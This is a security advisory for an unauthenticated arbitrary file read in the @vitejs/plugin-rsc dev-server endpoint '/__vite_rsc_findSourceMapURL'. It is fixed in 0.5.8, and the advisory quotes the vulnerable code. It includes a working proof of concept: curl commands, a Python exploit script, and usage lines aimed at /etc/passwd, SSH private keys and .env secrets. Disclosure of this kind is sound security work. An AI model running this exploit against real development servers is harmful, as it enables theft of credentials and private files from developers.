GHSA-g239-q96q-x4qm @vitejs/plugin-rsc has an Arbitrary File Read via `/__vite_rsc_findSourceMapURL` Endpoint

• npm @vitejs/plugin-rsc: < 0.5.8 → fixed in 0.5.8

Summary The `/__vite_rsc_findSourceMapURL` endpoint in `@vitejs/plugin-rsc` allows unauthenticated arbitrary file read during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a `file://` URL in the `filename` query parameter. Severity: High Attack Vector: Network Privileges Required: None Scope: Development mode only (`vite dev`) --- Impact Who Is Affected? • All developers using `@vitejs/plugin-rsc` during development • Projects running `vite dev` with the RSC plugin enabled Attack Scenarios 1. Network-Exposed Dev Servers: When developers run `vite --host 0.0.0.0` (common for mobile testing), attackers on the same network can read files. 2. ~XSS-Based Attacks:~ ~If the application has an XSS vulnerability, malicious JavaScript can fetch sensitive files and exfiltrate them.~ 3. ~Malicious Dependencies: ~ ~A compromised npm package could include code that reads files during development.~ 4. ~DNS Rebinding:~ (EDIT: This doesn't apply since https://github.com/vitejs/vite/pull/20222) ~An attacker could use DNS rebinding to access the localhost dev server from a malicious website.~ What Can Be Leaked? • Environment files (`.env`, `.env.local`, `.env.production`) • SSH keys (`~/.ssh/id_rsa`, `~/.ssh/id_ed25519`) • Cloud credentials (`~/.aws/credentials`, `~/.config/gcloud/`) • Database passwords and API keys • Source code from other projects • System files (`/etc/passwd`, `/etc/shadow` if readable) --- Details Vulnerable Code Location File: `packages/plugin-rsc/src/plugins/find-source-map-url.ts` Lines: 49-61 The vulnerability exists in the `findSourceMapURL` function: ```typescript async function findSourceMapURL( server: ViteDevServer, filename: string, environmentName: string, ): Promise { // this is likely server external (i.e. outside of Vite processing) if (filename.startsWith('file://')) { filename = fileURLToPath(filename) if (fs.existsSync(filename)) { // line-by-line identity source map const content = fs.readFileSync(filename, 'utf-8') // ← ARBITRARY FILE READ return { version: 3, sources: [filename], sourcesContent: [content], // ← FILE CONTENTS LEAKED HERE mappings: 'AAAA' + ';AACA'.repeat(content.split('\n').length), } } return } // ... rest of the function } ``` Root Cause The endpoint: 1. Accepts a user-controlled `filename` parameter from the query string (line 20) 2. Checks if it starts with `file://` (line 49) 3. Converts it to a filesystem path using `fileURLToPath()` (line 50) 4. Reads the file with `fs.readFileSync()` without any path validation (line 53) 5. Returns the file contents in the JSON response (line 57) No validation is performed to ensure the requested file is within the project directory or is a legitimate source file. --- PoC Quick Test (Single Command) If you have a Vite dev server running with `@vitejs/plugin-rsc`, you can test immediately: ```bash curl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server' ``` Expected output (file contents in `sourcesContent`): ```json { "version": 3, "sources": ["/etc/passwd"], "sourcesContent": ["root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/sbin:..."], "mappings": "AAAA;AACA;AACA;..." } ``` Further details of PoC Complete PoC with Docker For a fully reproducible environment, I've prepared a complete PoC: Step 1: Create a minimal `vite.config.ts` ```typescript import { defineConfig } from 'vite' import react from '@vitejs/plugin-rsc' export default defineConfig({ plugins: [ react({ serverHandler: false, }), ], }) ``` Step 2: Create `package.json` ```json { "name": "poc-vite-rsc-file-read", "version": "1.0.0", "private": true, "type": "module", "scripts": { "dev": "vite --host 0.0.0.0" }, "dependencies": { "react": "^19.0.0", "react-dom": "^19.0.0" }, "devDependencies": { "@vitejs/plugin-rsc": "latest", "vite": "^6.0.0" } } ``` Step 3: Create minimal `index.html` and `src/main.tsx` index.html: ```html ``` src/main.tsx: ```tsx import React from 'react' import ReactDOM from 'react-dom/client' ReactDOM.createRoot(document.getElementById('root')!).render(PoC) ``` Step 4: Start the server and exploit ```bash Install and start pnpm install pnpm dev In another terminal, exploit: curl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server' ``` Python Exploit Script For easier testing, here's a Python script: ```python !/usr/bin/env python3 """Exploit: Arbitrary File Read via /__vite_rsc_findSourceMapURL""" import json import sys import urllib.request import urllib.parse def read_file(host, port, file_path): """Read a file from the target server via the vulnerability.""" url = f"http://{host}:{port}/__vite_rsc_findSourceMapURL" params = urllib.parse.urlencode({ 'filename': f'file://{file_path}', 'environmentName': 'Server' }) try: with urllib.request.urlopen(f"{url}?{params}", timeout=10) as response: data = json.loads(response.read().decode('utf-8')) if 'sourcesContent' in data and data['sourcesContent']: return data['sourcesContent'][0] except Exception as e: return f"Error: {e}" return None if __name__ == '__main__': host = sys.argv[1] if len(sys.argv) > 1 else 'localhost' port = sys.argv[2] if len(sys.argv) > 2 else '5173' file_path = sys.argv[3] if len(sys.argv) > 3 else '/etc/passwd' content = read_file(host, port, file_path) if content: print(f"[+] Successfully read {file_path}:") print("-" * 60) print(content) print("-" * 60) else: print(f"[-] Failed to read {file_path}") ``` Usage: ```bash python3 exploit.py localhost 5173 /etc/passwd python3 exploit.py localhost 5173 /root/.ssh/id_rsa python3 exploit.py localhost 5173 /home/user/.env ``` Verified Exploitation Results I tested this in a Docker container and successfully read: | File | Description | |------|-------------| | `/etc/passwd` | System user accounts | | `/etc/hosts` | Network configuration | | `/root/.env.secret` | Environment secrets | | `/root/.ssh/id_rsa` | SSH private keys | | `/proc/self/environ` | Process environment variables | | Source code files | Any file in the filesystem | Example output from `/etc/passwd`: ``` root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin node:x:1000:1000::/home/node:/bin/sh ``` Example output from sensitive secrets file: ``` SECRET_API_KEY=sk-live-very-secret-key-12345 DB_PASSWORD=super_secret_password AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY ``` ---